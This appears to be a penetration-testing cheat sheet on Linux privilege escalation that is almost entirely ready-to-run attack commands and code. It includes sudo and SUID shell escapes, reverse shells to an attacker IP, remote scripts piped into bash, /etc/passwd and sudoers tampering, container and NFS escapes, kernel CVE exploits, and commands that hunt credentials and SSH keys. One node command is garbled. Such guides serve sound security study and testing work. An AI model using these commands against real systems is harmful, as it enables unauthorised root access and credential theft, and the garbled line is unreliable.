ᛉ Yggdrasil

Linux

Linux Privilege Escalation

15 Sep 2026 · 5,454 words · 25 min

Contents

Legend: [LOW] = Run as low-priv user | [ROOT] = Requires root | [ENUM] = Enumeration command | [EXPLOIT] = Exploitation command | [GTFOBins] = Check gtfobins.github.io


1. Introduction — PrivEsc Methodology

What it means: Linux privilege escalation is the process of going from a low-privileged user (www-data, user, nobody) to root. The goal is to find a misconfiguration, a vulnerable program, a leaked credential, or a kernel bug that lets you execute code as a higher-privileged user. Always enumerate EVERYTHING before trying exploits.

PrivEsc Attack Surface:

┌────────────────────────────────────────────────────────┐  
│ Sudo rights → run commands as root                     │  
│ SUID/SGID binaries → execute as file owner (root)      │  
│ Writable cron jobs → root executes your code           │  
│ PATH hijacking → root runs YOUR binary                 │  
│ Capabilities → partial root powers                     │  
│ Kernel exploits → exploit kernel bugs                  │  
│ Credentials in files → become root directly            │  
│ NFS no_root_squash → mount and create SUID             │  
│ Docker group → full root escape                        │  
│ LD_PRELOAD abuse → sudo injects your .so               │  
└────────────────────────────────────────────────────────┘

Methodology Order

  1. Automated scan (LinPEAS / LinEnum)

  2. Manual OS & kernel enumeration

  3. Sudo rights — fastest win

  4. SUID/SGID — second fastest win

  5. Cron jobs — look for writable scripts called by root

  6. Writable files — /etc/passwd, scripts, configs

  7. Credentials — history, configs, env vars

  8. Capabilities — powerful but often overlooked

  9. NFS — if shares exist

  10. Kernel exploits — last resort (unstable)


2. Automated Enumeration

What it means: Always run automated tools first — they cover hundreds of checks in seconds and highlight potential vectors with color-coded severity. Analyze their output carefully before trying manual techniques.


2.1 LinPEAS (Best)

# Download and run (from attacker)
[ATK] python3 -m http.server 8080

# On target
[LOW] curl -s http://<ATTACKER_IP>:8080/linpeas.sh | bash
[LOW] wget -q http://<ATTACKER_IP>:8080/linpeas.sh -O /tmp/lp.sh && chmod +x /tmp/lp.sh && /tmp/lp.sh

# Save output
[LOW] /tmp/lp.sh 2>&1 | tee /tmp/linpeas.out

# Key sections to focus on:
# 🔴 RED/YELLOW = critical findings
# Sudo version, SUID files, writable crons, credentials, capabilities

2.2 LinEnum

curl -s http://<ATTACKER_IP>:8080/LinEnum.sh | bash
# OR
chmod +x LinEnum.sh && ./LinEnum.sh -t -r report.txt
# -t = thorough, -r = report file

2.3 unix-privesc-check

unix-privesc-check standard   # fast
unix-privesc-check detailed   # full

2.4 LES (Linux Exploit Suggester)

# Check for kernel CVEs
curl -s http://<ATTACKER_IP>:8080/les.sh | bash
# OR
./linux-exploit-suggester.sh

# LES2 — more accurate
./linux-exploit-suggester-2.pl

2.5 pspy — Process Spy (No Root Needed)

# Watch processes running as other users (especially root cron jobs)
# Critical for finding cron job PrivEsc without reading /etc/crontab

[LOW] chmod +x pspy64 && ./pspy64
[LOW] ./pspy64 -pf -i 1000    # -pf = print file events, -i = interval ms

# Watch for:
# UID=0 (root) executing scripts in writable locations
# UID=0 running programs you can influence

3. System & Kernel Enumeration

What it means: Understanding the OS version and kernel version is essential — old kernels have public exploits, and certain distributions have known sudo/SUID vulnerabilities.


# OS information
[ENUM] cat /etc/os-release
[ENUM] cat /etc/issue
[ENUM] cat /etc/*-release
[ENUM] lsb_release -a

# Kernel version (most important for exploit selection)
[ENUM] uname -a
[ENUM] uname -r
[ENUM] cat /proc/version

# Architecture
[ENUM] uname -m
[ENUM] arch

# Hostname & network
[ENUM] hostname
[ENUM] ip a
[ENUM] ip route
[ENUM] cat /etc/hosts
[ENUM] arp -a
[ENUM] ss -tulpn       # open ports / listening services
[ENUM] netstat -tulpn  # alternative

# Installed packages (look for vulnerable versions)
[ENUM] dpkg -l                         # Debian/Ubuntu
[ENUM] rpm -qa                         # Red Hat/CentOS
[ENUM] apt list --installed 2>/dev/null
[ENUM] which python python3 perl ruby gcc curl wget nc

# Running processes (may reveal service credentials)
[ENUM] ps aux
[ENUM] ps aux | grep root
[ENUM] ps -ef --forest   # process tree

4. User & Permission Enumeration

What it means: Understand who you are, what groups you belong to, and what other users exist. Group memberships often grant unexpected privileges (docker, lxd, disk, adm, sudo).


# Current user
[ENUM] id
[ENUM] whoami
[ENUM] groups
[ENUM] echo $HOME

# All users
[ENUM] cat /etc/passwd
[ENUM] cat /etc/passwd | grep -v nologin | grep -v false  # login-capable users
[ENUM] awk -F: '$3 == 0 {print}' /etc/passwd              # UID 0 accounts (root-equivalent)
[ENUM] awk -F: '$7 !~ /nologin|false/ {print $1}' /etc/passwd  # users with shells

# Groups to watch for (high-value group memberships)
[ENUM] id
# docker   → instant root (docker escape)
# lxd/lxc  → container escape → root
# disk     → read raw disk → read /etc/shadow
# adm      → read logs → may contain credentials
# sudo     → check sudoers
# wheel    → check sudoers
# shadow   → read /etc/shadow directly

# Password files
[ENUM] cat /etc/passwd      # world-readable (hashes if not shadowed)
[ENUM] cat /etc/shadow      # root-readable (requires privesc to read)
[ENUM] cat /etc/group

# Login history / last logged in
[ENUM] last
[ENUM] lastlog
[ENUM] w
[ENUM] who

# Sudo version (check for CVEs like CVE-2021-3156 Baron Samedit)
[ENUM] sudo --version
[ENUM] sudo -V

5. SUDO Abuse

What it means: If a user can run any command with sudo, they can almost always escalate to root. Even restricted sudo rules (e.g., user ALL=(ALL) NOPASSWD: /usr/bin/vim) can be abused via shell escape techniques listed on GTFOBins. This is the most common and reliable PrivEsc vector.


5.1 Enumerate Sudo Rights

[ENUM] sudo -l
# Output examples:
# (ALL) NOPASSWD: ALL              → instant root: sudo su
# (ALL) NOPASSWD: /usr/bin/vim     → vim escape
# (root) /usr/bin/find             → find escape
# (ALL : ALL) /bin/bash            → sudo bash
# (root) NOPASSWD: /usr/sbin/tcpdump  → tcpdump escape

5.2 Instant Root

# If you have full sudo
sudo su
sudo bash
sudo -s
sudo /bin/bash

5.3 GTFOBins — Common Sudo Escapes

# vim / vi / nano — shell escape
sudo vim -c ':!bash'
sudo vim -c ':!/bin/bash'
sudo vi  -c ':!bash'

# nano
sudo nano
# Ctrl+R → Ctrl+X → bash → Enter

# less / more
sudo less /etc/passwd
# Press: !/bin/bash

# man
sudo man man
# Press: !/bin/bash

# find
sudo find / -exec /bin/bash \; -quit
sudo find . -exec /bin/sh \; -quit

# awk
sudo awk 'BEGIN {system("/bin/bash")}'

# perl
sudo perl -e 'exec "/bin/bash";'

# python / python3
sudo python3 -c 'import os; os.system("/bin/bash")'
sudo python -c 'import pty; pty.spawn("/bin/bash")'

# nmap (older versions)
sudo nmap --interactive
# nmap> !sh

# tee — write to privileged files
echo "root2:x:0:0:root:/root:/bin/bash" | sudo tee -a /etc/passwd
# Then: su root2

# cp — overwrite privileged files
sudo cp /dev/stdin /etc/passwd   # type new passwd content

# bash/sh
sudo bash
sudo sh -p    # preserve environment

# wget — overwrite files
sudo wget http://attacker.com/passwd -O /etc/passwd

# curl
sudo curl http://attacker.com/root.sh -o /tmp/root.sh && sudo bash /tmp/root.sh

# dd — overwrite files
echo "root2::0:0:root:/root:/bin/bash" | sudo dd of=/etc/passwd

# env / flock / strace
sudo env /bin/bash
sudo flock -u / /bin/bash
sudo strace -o /dev/null /bin/bash

# zip / tar
sudo zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/bash"
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# git
sudo git -p help config   # type: !/bin/bash
sudo git branch --help config   # type: !/bin/bash
PAGER='sh -c "exec sh 0<&1"' sudo git -p help

# node / nodejs
sudo node -e 'require("child_process").spawn("/bin/bash",{stdio:})'[1][2]

# ruby
sudo ruby -e 'exec "/bin/bash"'

# lua
sudo lua -e 'os.execute("/bin/bash")'

# tcpdump
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' > /tmp/.shell.sh
chmod +x /tmp/.shell.sh
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.shell.sh

# php
sudo php -r "system('/bin/bash');"

# docker (if sudo docker)
sudo docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# apt-get / apt
sudo apt-get update -o APT::Update::Pre-Invoke::="/bin/sh"

# mysql
sudo mysql -e '\! /bin/sh'

# journalctl / systemctl
sudo journalctl
# !/bin/bash (when in pager)
sudo systemctl status
# !/bin/bash

5.4 Sudo CVEs

# CVE-2021-3156 — Baron Samedit (sudo < 1.9.5p2) — heap overflow
# Check version
sudo --version    # if < 1.9.5p2 on most Linux distros

# PoC
sudoedit -s '\' $(python3 -c 'print("A"*65536)')
# If SIGSEGV → likely vulnerable

# Download exploit
searchsploit sudo 1.9
# Use: https://github.com/blasty/CVE-2021-3156

# CVE-2019-14287 — sudo < 1.8.28 — bypass with uid -1
sudo -u#-1 /bin/bash   # run as root via UID -1
sudo -u#4294967295 /bin/bash   # 32-bit overflow of -1

# CVE-2019-18634 — sudo < 1.8.26 — pwfeedback stack overflow
# (when "pwfeedback" is in sudoers)
python3 -c "print('A'*10000)" | sudo -S -k id

6. SUID / SGID Binaries

What it means: SUID (Set User ID) binaries execute with the file owner's permissions — usually root. If any SUID binary has a known GTFOBins entry or is a custom binary, you can exploit it to run code as root. This is the second most common PrivEsc vector.


6.1 Find SUID/SGID Binaries

# Find all SUID binaries
[ENUM] find / -perm -4000 -type f 2>/dev/null
[ENUM] find / -perm -u=s -type f 2>/dev/null

# Find all SGID binaries
[ENUM] find / -perm -2000 -type f 2>/dev/null

# Both SUID and SGID
[ENUM] find / -perm -4000 -o -perm -2000 -type f 2>/dev/null

# With owner info
[ENUM] find / -perm -4000 -type f -ls 2>/dev/null

# Compare against known default SUID list (find non-standard ones)
# Any SUID binary NOT in standard Linux installations = investigate immediately

6.2 Common SUID Exploits (GTFOBins)

# bash (rare but jackpot)
bash -p    # -p preserves effective UID (runs as root!)

# dash
/bin/dash -p

# find
find . -exec /bin/bash -p \; -quit
find / -name "*.txt" -exec /bin/sh -p \;

# vim / vi
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim.basic -c ':!/bin/sh -p'

# python / python3
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

# perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'

# awk
awk 'BEGIN {system("/bin/sh -p")}'

# nmap (with SUID)
nmap --interactive
# nmap> !sh -p

# more / less
# Open a file, then: !/bin/sh -p

# man
man man
# !/bin/sh -p

# cp — copy /bin/bash with SUID (create your own SUID shell)
# If cp is SUID:
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
/tmp/rootbash -p

# env
env /bin/sh -p

# tee — write to /etc/sudoers
echo "user ALL=(ALL) NOPASSWD:ALL" | tee -a /etc/sudoers

# base64 — read /etc/shadow
base64 /etc/shadow | base64 -d

# xxd — read any file
xxd /etc/shadow | xxd -r

# cat — read /etc/shadow (if cat is SUID, rare)
cat /etc/shadow

# pkexec — CVE-2021-4034 (PwnKit)
# Almost all Linux distros affected (pkexec < 0.105)
# https://github.com/berdav/CVE-2021-4034
gcc -shared -fPIC -nostartfiles -o GCONV_PATH=./lol/value.so evil.c
./cve-2021-4034   # instant root shell

# screen-4.5.0 — CVE-2017-5618
screen-4.5.0 -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"

# exim4 — if SUID
exim4 -ps | tail -1

6.3 Custom SUID Binaries (Not in GTFOBins)

# When you find a non-standard SUID binary:
# Step 1: Run it and observe behavior
/usr/local/bin/custom_binary

# Step 2: Check what it calls using strings
strings /usr/local/bin/custom_binary
# Look for: system(), popen(), execve(), /bin/sh, relative paths

# Step 3: Check with ltrace / strace
ltrace /usr/local/bin/custom_binary   # library calls
strace /usr/local/bin/custom_binary   # system calls

# Step 4: Look for relative path calls → PATH hijacking (Section 8)
# Step 5: Look for writable config files the binary uses

7. Cron Jobs & Scheduled Tasks

What it means: Cron jobs run commands on a schedule — often as root. If the script being executed is writable by a low-priv user, or if it calls programs via a relative path you can hijack, you get code execution as root.


7.1 Enumerate Cron Jobs

# System-wide cron
[ENUM] cat /etc/crontab
[ENUM] ls -la /etc/cron.*     # cron.d, cron.daily, cron.hourly, cron.weekly
[ENUM] ls -la /etc/cron.d/
[ENUM] cat /etc/cron.d/*

# Per-user crontabs
[ENUM] crontab -l             # current user
[ENUM] cat /var/spool/cron/crontabs/*   # all users (usually root-only)

# System cron daemons
[ENUM] ls -la /etc/anacrontab 2>/dev/null
[ENUM] cat /etc/anacrontab

# pspy — watch for root cron jobs at runtime (BEST method)
./pspy64 -pf -i 1000
# Watch for UID=0 executing scripts

7.2 Writable Script in Cron

# Found: * * * * * root /opt/scripts/backup.sh
# Check if writable
ls -la /opt/scripts/backup.sh

# If writable:
# Method 1: Add reverse shell to the script
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /opt/scripts/backup.sh

# Method 2: Replace with SUID bash copy
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /opt/scripts/backup.sh
# Wait for cron to run → /tmp/rootbash -p

# Method 3: Add your SSH key to root
echo 'echo "ssh-rsa YOUR_PUB_KEY" >> /root/.ssh/authorized_keys' >> /opt/scripts/backup.sh

7.3 Writable Directory in Cron PATH

# /etc/crontab:
# PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# * * * * * root cleanup.sh     ← no absolute path!

# Check if /home/user is writable by you:
ls -la /home/user/

# Create a malicious cleanup.sh in the writable PATH directory
cat > /home/user/cleanup.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/user/cleanup.sh

# Wait for cron → /tmp/rootbash -p

7.4 Wildcard in Cron (See Section 17)

# /etc/crontab:
# * * * * * root tar -czf /tmp/backup.tar.gz /home/user/*
# Wildcard * in tar → wildcard injection → code exec

8. PATH Hijacking

What it means: When a SUID binary or root-owned script calls another program using a relative path (e.g., ps instead of /bin/ps), you can create a malicious ps binary in a directory that appears earlier in the PATH — root then executes your code.


8.1 Detect PATH Hijacking Opportunity

# Look in SUID binaries or cron scripts for relative path calls
strings /usr/local/bin/suid_binary | grep -v "/"
# If you see: "ps", "id", "ls", "service" (no leading /) → injectable

# Verify with strace
strace /usr/local/bin/suid_binary 2>&1 | grep "exec"
# execve("ps", ...) → relative path confirmed

8.2 Exploit PATH Hijacking

# Method 1: Create malicious binary, prepend to PATH

# Create the malicious binary (same name as what the SUID calls)
echo '#!/bin/bash' > /tmp/ps
echo 'bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1' >> /tmp/ps
chmod +x /tmp/ps

# OR: SUID shell copy
echo '#!/bin/bash' > /tmp/service
echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /tmp/service
chmod +x /tmp/service

# Prepend /tmp to PATH
export PATH=/tmp:$PATH

# Run the SUID binary → it executes your /tmp/ps as root
/usr/local/bin/suid_binary

9. Capabilities

What it means: Linux capabilities divide root privileges into granular units. A binary can be granted specific capabilities (e.g., cap_setuid, cap_net_raw) without full SUID. Misconfigured capabilities on interpreters like Python, Perl, or Vim lead to privilege escalation exactly like SUID — often overlooked during hardening.


9.1 Enumerate Capabilities

# Find all files with capabilities set
[ENUM] getcap -r / 2>/dev/null

# Key dangerous capabilities:
# cap_setuid+ep   → can change UID to 0 → instant root
# cap_setgid+ep   → can change GID
# cap_net_raw     → raw socket access (sniff traffic)
# cap_net_bind_service → bind ports < 1024
# cap_sys_admin   → near-root (mount, pivot_root)
# cap_dac_override → bypass file permission checks → read anything
# cap_dac_read_search → read any file regardless of permissions
# cap_fowner      → bypass ownership checks
# cap_chown       → change file ownership

9.2 Exploit cap_setuid

# If python3 has cap_setuid:
# /usr/bin/python3 = cap_setuid+ep

python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

# If perl has cap_setuid:
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'

# If vim has cap_setuid:
vim -c ':py3 import os; os.setuid(0); os.execl("/bin/sh","sh","-c","reset; exec sh")'

# If ruby has cap_setuid:
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
# Read any file regardless of permissions (e.g., /etc/shadow)
# If tar has this capability:
tar -xf /etc/shadow -I /dev/stdout 2>/dev/null

# If python3 has cap_dac_read_search:
python3 -c 'print(open("/etc/shadow").read())'

9.4 Exploit cap_net_raw + Sniff Traffic

# If tcpdump has cap_net_raw (common):
tcpdump -i eth0 -w /tmp/capture.pcap
# Capture plaintext protocols: FTP, Telnet, HTTP — grab credentials

10. Writable Files & Directories

What it means: Misconfigured file permissions often allow overwriting critical system files. Writing to /etc/passwd adds a root user. Writing to /etc/sudoers grants sudo. Writable service configs or start scripts that root executes are code execution vectors.


10.1 Writable /etc/passwd

# /etc/passwd is world-writable (misconfiguration)
ls -la /etc/passwd
# -rw-rw-rw- → exploitable!

# Generate a password hash
openssl passwd -1 -salt hack hacked123
# → $1$hack$HASH

# OR (no password)
openssl passwd hacked123   # → HASH

# Add a root-equivalent user
echo 'hacker:$1$hack$HASH:0:0:hacker:/root:/bin/bash' >> /etc/passwd

# Login
su hacker   # password: hacked123

10.2 Writable /etc/sudoers

echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
sudo bash

10.3 Writable /etc/shadow

# Generate new root password hash
python3 -c "import crypt; print(crypt.crypt('hacked','$6$salt'))"

# Replace root hash in shadow
# Use sed or text editor to change root's hash

# Login
su root   # password: hacked

10.4 Find All World-Writable Files

# World-writable files
[ENUM] find / -writable -type f 2>/dev/null | grep -v proc
[ENUM] find / -perm -o+w -type f 2>/dev/null | grep -v proc

# World-writable directories
[ENUM] find / -perm -o+w -type d 2>/dev/null

# Writable by current user/group
[ENUM] find / -writable -type f 2>/dev/null

# Specifically look for:
[ENUM] ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/crontab
[ENUM] ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/

10.5 Writable Service Files (systemd)

# Find writable service files
[ENUM] find /etc/systemd/ /lib/systemd/ /usr/lib/systemd/ -writable 2>/dev/null

# If you can write to a .service file:
# Add your command to ExecStart
[Unit]
Description=Evil
[Service]
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<IP>/4444 0>&1'
[Install]
WantedBy=multi-user.target

# Reload and restart
systemctl daemon-reload
systemctl restart vulnerable.service

11. NFS Misconfiguration

What it means: NFS (Network File System) shares configured with no_root_squash allow a remote root user to create SUID files on the NFS share — which execute as root on the target machine. This is a major misconfiguration in older environments.


# Step 1: Find NFS shares (from attacker)
[ATK] showmount -e <TARGET_IP>
[ATK] nmap --script nfs-ls,nfs-showmount,nfs-statfs -p 111,2049 <TARGET_IP>

# Step 2: Read NFS config on target (if accessible)
[LOW] cat /etc/exports
# Look for: no_root_squash or no_all_squash

# Step 3: Mount the NFS share on attacker AS ROOT
[ATK] mkdir /tmp/nfs_mount
[ATK] sudo mount -t nfs <TARGET_IP>:/shared /tmp/nfs_mount

# Step 4: Create SUID bash on the mount (as root on attacker → root on target)
[ATK] sudo cp /bin/bash /tmp/nfs_mount/rootbash
[ATK] sudo chmod +s /tmp/nfs_mount/rootbash

# Step 5: On target — execute the SUID binary
[LOW] /shared/rootbash -p
# root shell!

# Alternative: copy /bin/bash and chmod +xs
# OR create a C SUID shell:
[ATK] cat > /tmp/nfs_mount/shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
int main() { setuid(0); setgid(0); system("/bin/bash"); return 0; }
EOF
[ATK] sudo gcc /tmp/nfs_mount/shell.c -o /tmp/nfs_mount/shell
[ATK] sudo chmod +s /tmp/nfs_mount/shell
[LOW] /shared/shell   # root shell

12. Docker & Container Escapes

What it means: Being a member of the docker group is equivalent to root. Docker group members can mount the host filesystem inside a container and escape to full host root access. Similarly, LXD group membership provides a container escape path.


12.1 Docker Group Escape

# Check group membership
id | grep docker

# Method 1: Mount host filesystem inside container
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# Now you have root shell with full host filesystem

# Method 2: SUID bash via Docker
docker run -v /:/mnt --rm -it alpine sh -c \
  "cp /mnt/bin/bash /mnt/tmp/rootbash && chmod +s /mnt/tmp/rootbash"
/tmp/rootbash -p

# Method 3: Add user to sudoers via Docker
docker run -v /:/mnt --rm -it alpine sh -c \
  "echo 'user ALL=(ALL) NOPASSWD:ALL' >> /mnt/etc/sudoers"
sudo bash

# Method 4: Direct volume mount for SSH
docker run -v /root:/mnt --rm -it alpine sh -c \
  "echo 'ssh-rsa YOUR_PUB_KEY' >> /mnt/.ssh/authorized_keys"
ssh root@<TARGET_IP>

12.2 LXD/LXC Group Escape

# Check
id | grep lxd

# Step 1: Download Alpine image on attacker
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder && sudo ./build-alpine

# Transfer alpine-v3.xx-x86_64.tar.gz to target

# Step 2: On target — import and run the container
lxc image import ./alpine-v3.xx.tar.gz --alias myimage
lxc init myimage privesc -c security.privileged=true

# Step 3: Mount host filesystem
lxc config device add privesc host-root disk source=/ path=/r recursive=true

# Step 4: Start container and get root shell
lxc start privesc
lxc exec privesc /bin/sh
# Inside container:
chroot /r sh    # chroot into host filesystem as root!

12.3 Escaping a Running Container

# Check if inside a container
cat /proc/1/cgroup | grep docker
ls -la /.dockerenv   # exists if in Docker
cat /etc/hostname    # often a short hash in containers

# Check for privileged mode
cat /proc/self/status | grep CapEff
# Full caps (0000003fffffffff) = privileged → escape possible

# Mount host filesystem if privileged
mkdir /tmp/escape
mount /dev/sda1 /tmp/escape   # or sda, vda — check lsblk
chroot /tmp/escape bash

# cgroups release_agent escape (privileged container)
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
cat /output   # shadow file from host

13. Kernel Exploits

What it means: Kernel exploits target vulnerabilities in the Linux kernel itself — not in applications or configurations. They are reliable but risky (can crash the system) and should be used as a last resort after exhausting all other vectors.


13.1 Identify Kernel Version & Find Exploits

# Kernel version
uname -r
# e.g.: 4.4.0-116-generic

# Linux Exploit Suggester
./linux-exploit-suggester.sh
./les.sh

# Searchsploit
searchsploit "linux kernel $(uname -r)"
searchsploit "linux kernel 4.4"

# Online resources:
# https://www.kernel-exploits.com/
# https://github.com/SecWiki/linux-kernel-exploits

13.2 Key Kernel CVEs

# DirtyPipe — CVE-2022-0847 (kernel 5.8 - 5.16.11)
# Overwrite root-owned read-only files (e.g., /etc/passwd, SUID binaries)
# https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits

gcc -o dirtypipe dirtypipe.c
./dirtypipe /etc/passwd   # overwrites /etc/passwd to add root user

# DirtyCow — CVE-2016-5195 (kernel < 4.8.3)
# Race condition in copy-on-write mechanism
# https://github.com/dirtycow/dirtycow.github.io

gcc -pthread dirty.c -o dirty -lcrypt
./dirty my-new-password
# Adds firefart user with root privs

# PwnKit — CVE-2021-4034 (polkit < 0.105)
# pkexec SUID binary — affects all major distros
# https://github.com/berdav/CVE-2021-4034

make && ./cve-2021-4034   # instant root

# GameOver(lay) — CVE-2023-2640 / CVE-2023-32629 (Ubuntu 22.04)
# OverlayFS privilege escalation
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
  setcap cap_setuid+eip l/python3;mount -t overlay overlay -o
  rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" &&
  u/python3 -c 'import os;os.setuid(0);os.system("bash")'

# Sudo Baron Samedit — CVE-2021-3156 (sudo < 1.9.5p2)
# Heap-based buffer overflow in sudo
# https://github.com/blasty/CVE-2021-3156

make && ./sudo-hax-me-a-sandwich 0   # select target number

# Netfilter — CVE-2022-25636 (kernel 5.4 - 5.6.10)
gcc -o exploit exploit.c && ./exploit

# PTRACE_TRACEME — CVE-2019-13272 (kernel < 5.1.17)
gcc cve-2019-13272.c -o exploit && ./exploit

13.3 Compile and Transfer Exploits

# Compile on attacker (matching architecture)
gcc -m64 exploit.c -o exploit
gcc -m32 exploit.c -o exploit32
gcc exploit.c -o exploit -static   # static for portability

# Transfer to target
[ATK] python3 -m http.server 8080
[LOW] wget http://<ATTACKER_IP>:8080/exploit -O /tmp/exploit
[LOW] chmod +x /tmp/exploit && /tmp/exploit

14. Credential Hunting

What it means: Credentials are hidden everywhere on Linux systems — bash history, config files, database connections, environment variables, SSH keys, and application configs. Finding a root password or sudo password is the cleanest PrivEsc.


# Bash history (gold mine)
[ENUM] cat ~/.bash_history
[ENUM] cat /root/.bash_history 2>/dev/null
[ENUM] cat /home/*/.bash_history 2>/dev/null
[ENUM] history

# Look for passwords in command history
cat ~/.bash_history | grep -i "pass\|pwd\|secret\|mysql\|ssh"

# Environment variables (sometimes contain creds)
[ENUM] env
[ENUM] printenv
[ENUM] cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -i "pass\|pwd\|key"

# Config files with credentials
[ENUM] find / -name "*.conf" -o -name "*.config" -o -name "*.cfg" \
  -o -name "*.ini" -o -name ".env" 2>/dev/null | \
  xargs grep -l "password\|passwd\|secret" 2>/dev/null

# Web app configs
[ENUM] cat /var/www/html/wp-config.php 2>/dev/null
[ENUM] cat /var/www/html/.env 2>/dev/null
[ENUM] cat /etc/phpmyadmin/config.inc.php 2>/dev/null
[ENUM] find /var/www -name "*.php" -exec grep -l "password" {} \; 2>/dev/null

# SSH keys
[ENUM] find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" 2>/dev/null
[ENUM] find /home /root -name "*.pem" -o -name "*.key" 2>/dev/null
[ENUM] cat /home/*/.ssh/id_rsa 2>/dev/null
[ENUM] cat /root/.ssh/id_rsa 2>/dev/null

# Database credentials
[ENUM] cat /etc/mysql/debian.cnf   # MySQL root password!
[ENUM] find / -name "*.db" -o -name "*.sqlite" 2>/dev/null
[ENUM] grep -r "DB_PASS\|db_password\|database_password" /var/www/ 2>/dev/null

# Log files (may contain credentials)
[ENUM] cat /var/log/auth.log   # failed/successful auth
[ENUM] cat /var/log/syslog
[ENUM] find /var/log -readable -type f 2>/dev/null

# /tmp and /var/tmp (scripts, data left behind)
[ENUM] ls -la /tmp/ /var/tmp/
[ENUM] find /tmp /var/tmp -type f 2>/dev/null

# Check if root has re-used creds for su
su root   # try found passwords

15. Service Exploitation

What it means: Services running as root with known vulnerabilities or misconfigured configurations provide a direct path to root. Check running processes owned by root for outdated software, writable config files, or weak permissions.


# Services running as root
[ENUM] ps aux | grep root | grep -v "\[" | grep -v "grep"
[ENUM] systemctl list-units --type=service --state=running

# Find service binary and check version
[ENUM] which apache2 && apache2 -v
[ENUM] mysql --version
[ENUM] nginx -v
[ENUM] php -v

# Check service configs for credentials
[ENUM] cat /etc/mysql/mysql.conf.d/mysqld.cnf
[ENUM] cat /etc/apache2/sites-enabled/*
[ENUM] cat /etc/nginx/sites-enabled/*

# MySQL running as root — common in older setups
mysql -u root       # no password
mysql -u root -p    # try found passwords
# Once in MySQL:
# SELECT user,password FROM mysql.user;
# SELECT sys_exec('id');             (if UDF installed)
# SELECT * FROM mysql.user INTO OUTFILE '/etc/cron.d/evil';

# Writable service start scripts
[ENUM] find /etc/init.d/ -writable 2>/dev/null
[ENUM] find /etc/init/ -writable 2>/dev/null
[ENUM] find /lib/systemd/system/ -writable 2>/dev/null

# Logrotate (CVE-2016-6663 / logrotate < 3.8.6 + newer)
# If writable log file + logrotate runs as root:
[ENUM] cat /etc/logrotate.conf
[ENUM] ls -la /etc/logrotate.d/

16. Environment Variables & LD_PRELOAD

What it means: If a user can run sudo commands and the sudo configuration allows passing environment variables (specifically env_keep+=LD_PRELOAD), they can force any program to load a malicious shared library before all others — executing code as root.


16.1 LD_PRELOAD via Sudo

# Check: sudo -l shows:
# env_keep+=LD_PRELOAD

# Step 1: Write a malicious shared library
cat > /tmp/preload.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash -p");
}
EOF

# Step 2: Compile as shared library
gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /tmp/preload.c

# Step 3: Run any sudo-allowed command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so <any_allowed_command>
# Root shell spawns!

16.2 LD_LIBRARY_PATH Abuse

# Check: sudo -l shows env_keep+=LD_LIBRARY_PATH

# Find libraries used by a sudo-allowed binary
ldd /usr/sbin/apache2

# Create a fake version of one of those libraries in /tmp
# The fake library's constructor runs as root when apache2 loads

17. Wildcard Injection

What it means: When a shell command uses a wildcard * and the directory is writable, an attacker can create filenames that are interpreted as command flags. Classic example: tar * in a directory where you can create files — create --checkpoint-action=exec=sh as a filename.


# Vulnerable cron: * * * * * root tar -czf /tmp/backup.tar.gz /home/user/*
# /home/user/ is writable by you

# Create malicious "filenames" that become tar flags
cd /home/user
touch -- "--checkpoint=1"
touch -- "--checkpoint-action=exec=sh evil.sh"

# Create the payload script
cat > /home/user/evil.sh << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /home/user/evil.sh

# When tar runs: tar -czf /tmp/backup.tar.gz --checkpoint=1
# --checkpoint-action=exec=sh evil.sh /other/files
# → executes evil.sh as root!

# Wait for cron → /tmp/rootbash -p

# Other wildcard-vulnerable commands:
# chown user:group *   → create --reference= filename
